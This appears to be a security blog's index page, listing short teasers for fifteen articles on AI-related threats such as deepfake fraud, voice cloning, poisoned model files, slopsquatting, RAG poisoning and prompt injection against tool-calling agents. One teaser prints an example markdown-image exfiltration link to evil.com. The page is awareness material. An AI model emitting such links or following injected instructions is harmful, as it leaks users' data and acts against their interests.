Segurança de TI e IA

Blog

Temas validados de investigação, ameaças, direito e jurisprudência.

Ameaças IA (15)

Ameaças IAAltaDestaque

The $25 Million Deepfake Call: When Every Colleague on the Video Chat Is Fake

The Arup case in Hong Kong (Jan./Feb. 2024). A finance employee transferred USD 25 million after a video conference in which the CFO and several colleagues appeared to be present…

Ler mais →
Ameaças IAAltaDestaque

AI Voice Cloning: 3 Seconds of Voice Message Suffice for the Perfect Panic Call

Fraudsters use AI tools (ElevenLabs and others) to clone the exact voice of children or relatives from a few seconds of audio on social media and fake emergencies.

Ler mais →
Ameaças IAAltaDestaque

Hugging Face & GitHub Gaps: Malicious Pickle Files in AI Models

Security analyses by Protect AI and Wiz uncovered hundreds of open-source models on Hugging Face that contained manipulated Python pickle files. Loading the model immediately…

Ler mais →
Ameaças IA

Shadow AI at Work: When Employees Dump Trade Secrets into ChatGPT

Became known through incidents such as Samsung 2023, where developers pasted confidential source code into public chatbots for debugging, which then ended up in cloud logs and…

Ler mais →
Ameaças IAAlta

Slopsquatting / Hallucination Squatting: When AIs Invent Software Packages

Developers use AI coding assistants. AIs sometimes invent plausible but non-existent package names (e.g. on npm or PyPI). Criminals register exactly those fake packages and load…

Ler mais →
Ameaças IAAlta

Quishing: AI Phishing Hidden in QR Codes Tricks Scanners

Attackers combine AI-generated emotional cover letters with QR codes. Because mail security filters scan text but do not decode QR codes, the emails land in the inbox.

Ler mais →
Ameaças IAAlta

MCP & Tool-Calling Weaknesses: When the AI Unauthorizedly Wipes the Hard Drive

With protocols such as MCP (Model Context Protocol) or OpenAI Function Calling, AIs gain access to terminals, databases, and files. Through prompt injection, the AI can be made to…

Ler mais →
Ameaças IAAlta

Deepfake Identity Theft in Video-Ident Procedures

Criminals use AI face generators and virtual webcams to successfully complete online account openings at neobanks and crypto exchanges with stolen ID data.

Ler mais →
Ameaças IA

Data Exfiltration via Markdown Images in Chatbots

If a chatbot is manipulated through prompt injection, it can encode sensitive data in the link of an invisible image (`![](https://evil.com/leak?data=SECRET)`). When the chat…

Ler mais →
Ameaças IA

RAG Poisoning: Manipulated Documents Poison the Company Knowledge Base

Companies use Retrieval Augmented Generation (RAG) so AIs can access internal manuals and intranets. Attackers inject manipulated text snippets that falsify internal search…

Ler mais →
Ameaças IA

CAPTCHA Breaking: Multimodal AIs Solve Protection Puzzles Instantly

Models such as GPT-4 Vision solve complex image and logic CAPTCHAs ('Find all traffic lights') with over 90 percent accuracy and beat humans in speed and precision.

Ler mais →
Ameaças IA

Polymorphic AI Malware: Viruses That Change Their Appearance Every Minute

Concepts such as BlackMamba show how malware constantly rewrites its code at runtime via an AI API. Function and payload stay the same, but the hash and signature keep changing.

Ler mais →
Ameaças IAAlta

WhatsApp CEO Fraud: Cloned Voice Messages from the Boss Demand Urgency

Fraudsters send employees short voice messages in messengers: 'I'm on the plane right now — please urgently approve the invoice!'. The voice comes from YouTube interviews of the…

Ler mais →
Ameaças IAAlta

The Forgetting Dilemma: Why AIs Can Hardly Delete Personal Data

Machine unlearning is mathematically unsolved. Once a phone number or address is baked into a model's billions of parameters, you cannot delete it at the push of a button like in…

Ler mais →
Ameaças IA

Automated Exploit Generation: AI Agents Find 0-Day Vulnerabilities

Security researchers (including the DARPA AI Cyber Challenge) show that AI systems can automatically scan software repositories, find logic flaws, and write working exploits in…

Ler mais →